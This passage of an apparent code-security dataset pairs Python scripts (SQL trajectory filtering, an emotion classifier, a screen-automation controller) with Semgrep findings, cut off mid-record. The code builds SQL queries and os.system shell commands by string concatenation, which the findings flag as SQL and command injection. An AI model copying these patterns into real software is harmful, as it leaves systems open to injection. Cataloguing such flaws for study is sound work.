arg_parser.add_argument('--userfilter',
help='A filter on the selected users (in the format of a SQL WHERE expression).',
type=str)
#arg_parser.add_argument('--plot', action='store_true', help='Pass.')
args = arg_parser.parse_args()
db.config(name=args.dbname,
host=args.dbhost,
user=args.dbuser,
passwd=args.dbpass)
def close_db_terminate():
global db
db.rollback()
db.close()
exit()
def print_table_stats(table, tidcol, classcol):
global db, logger
checkin_count = db.query("SELECT COUNT(*) FROM " + table)[0][0]
traj_count = db.query("SELECT COUNT(DISTINCT(" + tidcol + ")) FROM " +
table)[0][0]
class_count = db.query("SELECT COUNT(DISTINCT(" + classcol + ")) FROM " +
table)[0][0]
logger.log(Logger.INFO, "Table " + table + " Stats: ")
logger.log(Logger.INFO, " Check-in count: " + str(checkin_count))
logger.log(Logger.INFO, " Trajectory count: " + str(traj_count))
logger.log(Logger.INFO, " Class count: " + str(class_count))
if(db.connect()):
logger.log(Logger.INFO, "Succesfully connected to database \'" +
args.dbname + "\'!")
else:
logger.log(Logger.ERROR, "Failed connecting to database \'" +
args.dbname + "\'!")
logger.log(Logger.ERROR, "Database status: " + db.status())
exit()
insert_table_query = "CREATE TABLE " + args.totable + \
" AS (SELECT * FROM " + args.origtable + " WHERE " + \
args.tidcol + " IS NOT NULL :where)"
no_cat_query = """DELETE FROM :table WHERE :venue_id IN (
SELECT :venue_id FROM :table
EXCEPT
SELECT v.id FROM fq_venue v
INNER JOIN fq_venue_category vc ON v.id = vc.:venue_id
)"""
no_cat_query = no_cat_query.replace(":venue_id", args.venuecol)
broad_cat_query = """DELETE FROM :table WHERE :venue_id IN (
SELECT v.id FROM fq_venue v
INNER JOIN fq_venue_category vc ON v.id = vc.:venue_id
INNER JOIN fq_category c ON vc.category_id = c.id
WHERE c.foursquare_id IN (
'56aa371be4b08b9a8d573544', -- Bay
'56aa371be4b08b9a8d573562', -- Canal
'4bf58dd8d48988d162941735', -- Other Great Outdoors
'4eb1d4dd4b900d56c88a45fd', -- River
'530e33ccbcbc57f1066bbfe4', -- States & Municipalities
'50aa9e094b90af0d42d5de0d', -- City
'5345731ebcbc57f1066c39b2', -- County
'530e33ccbcbc57f1066bbff7', -- Country
'4f2a25ac4b909258e854f55f', -- Neighborhood
'530e33ccbcbc57f1066bbff8', -- State
'530e33ccbcbc57f1066bbff3', -- Town
'530e33ccbcbc57f1066bbff9', -- Village
'4bf58dd8d48988d12d951735', -- Boat or Ferry
'4bf58dd8d48988d1f6931735', -- General Travel
'52f2ab2ebcbc57f1066b8b4c', -- Intersection
'4f2a23984b9023bd5841ed2c', -- Moving Target
'4bf58dd8d48988d1f9931735', -- Road
'4bf58dd8d48988d130951735', -- Taxi
'4bf58dd8d48988d129951735' -- Train Station
)
)"""
broad_cat_query = broad_cat_query.replace(":venue_id", args.venuecol)
remove_duplicate_query = """DELETE FROM :table WHERE id IN
(
SELECT DISTINCT(t1.id) FROM :table t1
INNER JOIN :table t2 ON t1.id < t2.id
AND t1.:user_id = t2.:user_id
AND t1.:venue_id = t2.:venue_id
AND "timestamp"(t1.date_time) - "timestamp"(t2.date_time) <= (interval '1 minute' * :duplicate_interval)
AND "timestamp"(t1.date_time) - "timestamp"(t2.date_time) >= (interval '-1 minute' * :duplicate_interval)
ORDER BY t1.id
)"""
remove_duplicate_query = remove_duplicate_query.replace(":user_id", args.usercol)
remove_duplicate_query = remove_duplicate_query.replace(":venue_id", args.venuecol)
traj_remove_query = """DELETE FROM :table WHERE :tid IN (
SELECT :tid FROM :table
GROUP BY :tid HAVING COUNT(*) < :min_length
ORDER BY :tid
)"""
class_query = """SELECT :class, :tid, COUNT(*) as count FROM :table
GROUP BY :class, :tid
ORDER BY :class ASC, :tid ASC"""
remove_class_query = "DELETE FROM :table WHERE :class IN (:values)"
try:
logger.log(Logger.INFO, "Creating new table '" + args.totable + "'... ")
if args.userfilter:
insert_table_query = insert_table_query.replace(":where", "AND " + args.userfilter)
else:
insert_table_query = insert_table_query.replace(":where", "")
db.execute(insert_table_query)
db.commit()
print_table_stats(table=args.totable,
tidcol=args.tidcol,
classcol=args.classcol)
logger.log(Logger.INFO, "Creating new table '" + args.totable + "'... DONE!")
except Exception as e:
logger.log(Logger.ERROR, str(e))
close_db_terminate()
# Filter categories
if args.filter_category:
logger.log(Logger.INFO, "Filtering categories... ")
no_cat_query = no_cat_query.replace(":table", args.totable)
broad_cat_query = broad_cat_query.replace(":table", args.totable)
try:
db.execute(no_cat_query)
db.execute(broad_cat_query)
db.commit()
print_table_stats(table=args.totable,
tidcol=args.tidcol,
classcol=args.classcol)
logger.log(Logger.INFO, "Filtering categories... DONE!")
except Exception as e:
logger.log(Logger.ERROR, str(e))
close_db_terminate()
# Filter duplicates
if args.filter_duplicates != -1:
threshold = args.filter_duplicates
logger.log(Logger.INFO, "Filtering duplicates with a " +
str(threshold) + "-minute threshold...")
remove_duplicate_query = remove_duplicate_query\
.replace(":table", args.totable)\
.replace(":duplicate_interval", str(threshold))
db.execute(remove_duplicate_query)
db.commit()
print_table_stats(table=args.totable,
tidcol=args.tidcol,
classcol=args.classcol)
logger.log(Logger.INFO, "Filtering duplicates with a " +
str(threshold) + "-minute threshold... DONE!")
# Filter trajectories by length
logger.log(Logger.INFO, "Filtering trajectories with length smaller than " +
str(args.min_traj_length) + "... ")
traj_remove_query = traj_remove_query.replace(":tid", args.tidcol)
traj_remove_query = traj_remove_query.replace(":table", args.totable)
traj_remove_query = traj_remove_query.replace(":min_length", str(args.min_traj_length))
try:
db.execute(traj_remove_query)
db.commit()
print_table_stats(table=args.totable,
tidcol=args.tidcol,
classcol=args.classcol)
logger.log(Logger.INFO, "Filtering trajectories with length smaller than " +
str(args.min_traj_length) + "... DONE!")
except Exception as e:
logger.log(Logger.ERROR, str(e))
close_db_terminate()
# Filter classes by trajectory count
logger.log(Logger.INFO, "Filtering classes with fewer than " +
str(args.min_traj_count) + " trajectories ... ")
class_query = class_query.replace(":class", args.classcol)
class_query = class_query.replace(":tid", args.tidcol)
class_query = class_query.replace(":table", args.totable)
cls_to_remove = []
last_cls = None
cls_count = 0
for cls, tid, count in db.query(class_query):
if last_cls and cls != last_cls:
if cls_count < args.min_traj_count:
cls_to_remove.append(last_cls)
cls_count = 0
last_cls = cls
cls_count += 1
if cls_count < args.min_traj_count:
cls_to_remove.append(last_cls)
try:
remove_class_query = remove_class_query.replace(":table", args.totable)
remove_class_query = remove_class_query.replace(":class", args.classcol)
remove_class_query = remove_class_query.replace(":values", str(cls_to_remove).replace('[', '')
.replace(']', ''))
db.execute(remove_class_query)
db.commit()
print_table_stats(table=args.totable,
tidcol=args.tidcol,
classcol=args.classcol)
logger.log(Logger.INFO, "Filtering classes with fewer than " +
str(args.min_traj_count) + " trajectories ... DONE!")
except Exception as e:
logger.log(Logger.ERROR, str(e))
close_db_terminate()
db.close()
| 285 | 38.7 | 122 | 14 | 2,701 | python | [{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_1988414227e14f24_3a38136b", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 176, "line_end": 176, "column_start": 5, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/1988414227e14f24.py", "start": {"line": 176, "col": 5, "offset": 7324}, "end": {"line": 176, "col": 35, "offset": 7354}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-89"
] | [
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
176
] | [
176
] | [
5
] | [
35
] | [
"A01:2017 - Injection"
] | [
"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre... | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | trajectory_filtering.py | /dataset-utils/trajectory_filtering.py | falcaopetri/trajectory-data | MIT | |
2024-11-18T20:16:00.249116+00:00 | 1,692,453,874,000 | 439f1ad8009adccaca295aff3afbcb1fa981d828 | 3 | {
"blob_id": "439f1ad8009adccaca295aff3afbcb1fa981d828",
"branch_name": "refs/heads/master",
"committer_date": 1692453874000,
"content_id": "a4c25dbe635d43277245eaa72ec7605d740af394",
"detected_licenses": [
"MIT"
],
"directory_id": "d05c946e345baa67e7894ee33ca21e24b8d26028",
"extension": "py",
"filename": "ser.py",
"fork_events_count": 2055,
"gha_created_at": 1564403740000,
"gha_event_created_at": 1692996116000,
"gha_language": "Jupyter Notebook",
"gha_license_id": "MIT",
"github_id": 199449624,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1418,
"license": "MIT",
"license_type": "permissive",
"path": "/machine-learning/speech-emotion-recognition/ser.py",
"provenance": "stack-edu-0054.json.gz:570863",
"repo_name": "x4nth055/pythoncode-tutorials",
"revision_date": 1692453874000,
"revision_id": "d6ba5d672f7060ba88384db5910efab1768c7230",
"snapshot_id": "327255550812f84149841d56f2d13eaa84efd42e",
"src_encoding": "UTF-8",
"star_events_count": 1858,
"url": "https://raw.githubusercontent.com/x4nth055/pythoncode-tutorials/d6ba5d672f7060ba88384db5910efab1768c7230/machine-learning/speech-emotion-recognition/ser.py",
"visit_date": "2023-09-01T02:36:58.442748"
} | 2.859375 | stackv2 | from sklearn.neural_network import MLPClassifier
from sklearn.metrics import accuracy_score
from utils import load_data
import os
import pickle
# load RAVDESS dataset
X_train, X_test, y_train, y_test = load_data(test_size=0.25)
# print some details
# number of samples in training data
print("[+] Number of training samples:", X_train.shape[0])
# number of samples in testing data
print("[+] Number of testing samples:", X_test.shape[0])
# number of features used
# this is a vector of features extracted
# using utils.extract_features() method
print("[+] Number of features:", X_train.shape[1])
# best model, determined by a grid search
model_params = {
'alpha': 0.01,
'batch_size': 256,
'epsilon': 1e-08,
'hidden_layer_sizes': (300,),
'learning_rate': 'adaptive',
'max_iter': 500,
}
# initialize Multi Layer Perceptron classifier
# with best parameters ( so far )
model = MLPClassifier(**model_params)
# train the model
print("[*] Training the model...")
model.fit(X_train, y_train)
# predict 25% of data to measure how good we are
y_pred = model.predict(X_test)
# calculate the accuracy
accuracy = accuracy_score(y_true=y_test, y_pred=y_pred)
print("Accuracy: {:.2f}%".format(accuracy*100))
# now we save the model
# make result directory if doesn't exist yet
if not os.path.isdir("result"):
os.mkdir("result")
pickle.dump(model, open("result/mlp_classifier.model", "wb"))
| 50 | 27.36 | 61 | 8 | 373 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_bda2f11476aac5e8_cc0ad261", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 50, "line_end": 50, "column_start": 1, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/bda2f11476aac5e8.py", "start": {"line": 50, "col": 1, "offset": 1356}, "end": {"line": 50, "col": 62, "offset": 1417}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
50
] | [
50
] | [
1
] | [
62
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | ser.py | /machine-learning/speech-emotion-recognition/ser.py | x4nth055/pythoncode-tutorials | MIT | |
2024-11-18T20:16:01.186573+00:00 | 1,521,490,617,000 | f697dd21d273b80246e12ef8afac9238f88e9e52 | 3 | {
"blob_id": "f697dd21d273b80246e12ef8afac9238f88e9e52",
"branch_name": "refs/heads/master",
"committer_date": 1521490617000,
"content_id": "4cbbfff7052b638fde346f7d1e276d26742079da",
"detected_licenses": [
"MIT"
],
"directory_id": "bc955feefe7f07ff338994280af9b6dfece23682",
"extension": "py",
"filename": "controller.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 103670845,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4581,
"license": "MIT",
"license_type": "permissive",
"path": "/lib/controller.py",
"provenance": "stack-edu-0054.json.gz:570876",
"repo_name": "andriykislitsyn/ApplePie",
"revision_date": 1521490617000,
"revision_id": "3b57e950356cf387c7adb6425469850bc99ea8b5",
"snapshot_id": "2cb666afd8abdeeb36c12d02443d39ef432d3db2",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/andriykislitsyn/ApplePie/3b57e950356cf387c7adb6425469850bc99ea8b5/lib/controller.py",
"visit_date": "2021-09-09T21:31:47.278899"
} | 2.96875 | stackv2 | import os
from time import time
import PIL.ImageGrab
import cv2
import numpy as np
from lib.condition import wait_for
MIN_SIM = 0.92
WAIT_TIME = 5
class Controller:
def __init__(self):
self.directory = os.path.dirname(os.path.dirname(__file__))
self.binary_cliclick = '{0}/bin/cliclick'.format(self.directory)
def click(self, pattern, sim=MIN_SIM, wait=WAIT_TIME, x_off=0, y_off=0):
""" Move the cursor to the center of the pattern and clicks once.
:param str pattern: Path to the pattern to search for.
:param float sim: Sensitivity parameter 90% match required for success
:param int x_off: Move cursor left or right concerning the patter center
:param int y_off: Move cursor above or below the patter center
:param int wait: Time in seconds the method waits until a pattern appears on the Screen. """
x, y = self.exists(pattern=pattern, sim=sim, wait=wait)
os.system('{0} c:{1},{2}'.format(self.binary_cliclick, x + x_off, y + y_off))
def exists(self, pattern, sim=MIN_SIM, wait=WAIT_TIME):
""" Locate pattern on the Screen and returns its center coordinates
:param pattern: Path to the pattern to search for.
:param sim: Sensitivity parameter 90% match required for success
:param wait: Time the method waits until a pattern appears on the Screen. """
return wait_for(self.find_pattern, wait=wait, pattern=pattern, sim=sim)
def double_click(self, pattern, sim=MIN_SIM, wait=WAIT_TIME, x_off=0, y_off=0):
x, y = self.exists(pattern=pattern, sim=sim, wait=wait)
os.system('{0} dc:{1},{2}'.format(self.binary_cliclick, x + x_off, y + y_off))
def right_click(self, pattern, sim=MIN_SIM, wait=WAIT_TIME, x_off=0, y_off=0):
x, y = self.exists(pattern=pattern, sim=sim, wait=wait)
os.system('{0} kd:ctrl'.format(self.binary_cliclick))
os.system('{0} c:{1},{2}'.format(self.binary_cliclick, x + x_off, y + y_off))
os.system('{0} ku:ctrl'.format(self.binary_cliclick))
def move(self, pattern, sim=MIN_SIM, wait=WAIT_TIME, x_off=0, y_off=0):
x, y = self.exists(pattern=pattern, sim=sim, wait=wait)
os.system('{0} m:{1},{2}'.format(self.binary_cliclick, x + x_off, y + y_off))
def paste(self, pattern, sim=MIN_SIM, wait=WAIT_TIME, x_off=0, y_off=0, phrase=''):
x, y = self.exists(pattern=pattern, sim=sim, wait=wait)
os.system('{0} c:{1},{2}'.format(self.binary_cliclick, x + x_off, y + y_off))
os.system('{0} p:"{1}"'.format(self.binary_cliclick, phrase))
def count_matches(self, pattern, sim=MIN_SIM, wait=WAIT_TIME):
return wait_for(self.find_pattern, wait=wait, pattern=pattern, sim=sim, get_matches_count=True)
def find_pattern(self, pattern, sim=MIN_SIM, get_matches_count=False):
""" Locate pattern(s) on the Screen and returns their number (its center coordinates)
:param pattern: Path to the pattern to search for.
:param sim: Sensitivity parameter 90% match required for success
:param get_matches_count: Optional parameter, when set to True, counts number of times the pattern found
:return: Number of times the pattern was found or coordinates of the first discovered pattern. """
total = []
cv2_pattern = cv2.imread(pattern, 0)
w, h = cv2_pattern.shape[::-1]
result = cv2.matchTemplate(self._snapshot(), cv2_pattern, cv2.TM_CCOEFF_NORMED)
matches = np.where(result >= sim)
for match in zip(*matches[::-1]):
total.append((int(match[0] + w / 2), int(match[1] + h / 2)))
if get_matches_count:
return len(total)
if total:
return total[0]
def wait_vanish(self, pattern, sim=MIN_SIM, wait=WAIT_TIME):
end = time() + wait
while time() < end:
if not self.exists(pattern=pattern, sim=sim, wait=wait):
return True
@staticmethod
def _snapshot():
""" Make a screenshot of the Screen and converts it from PIL(Pillow) to CV2 Image object.
:return numpy array: cv2 ready Image object. """
desktop = PIL.ImageGrab.grab()
pil_image = desktop.convert('RGB')
open_cv_image = np.array(pil_image)
open_cv_image = open_cv_image[:, :, ::-1].copy()
open_cv_image_gray = cv2.cvtColor(open_cv_image, cv2.COLOR_BGR2GRAY)
return open_cv_image_gray
controller = Controller()
| 94 | 47.73 | 120 | 16 | 1,168 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d4884b693b5056f6_f4884d42", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 27, "line_end": 27, "column_start": 9, "column_end": 86, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/d4884b693b5056f6.py", "start": {"line": 27, "col": 9, "offset": 994}, "end": {"line": 27, "col": 86, "offset": 1071}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d4884b693b5056f6_756bdd02", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 38, "line_end": 38, "column_start": 9, "column_end": 87, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/d4884b693b5056f6.py", "start": {"line": 38, "col": 9, "offset": 1688}, "end": {"line": 38, "col": 87, "offset": 1766}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d4884b693b5056f6_f55c0126", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 42, "line_end": 42, "column_start": 9, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/d4884b693b5056f6.py", "start": {"line": 42, "col": 9, "offset": 1923}, "end": {"line": 42, "col": 62, "offset": 1976}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d4884b693b5056f6_4c032501", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 43, "line_end": 43, "column_start": 9, "column_end": 86, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/d4884b693b5056f6.py", "start": {"line": 43, "col": 9, "offset": 1985}, "end": {"line": 43, "col": 86, "offset": 2062}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d4884b693b5056f6_faa94ed8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 44, "line_end": 44, "column_start": 9, "column_end": 62, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": 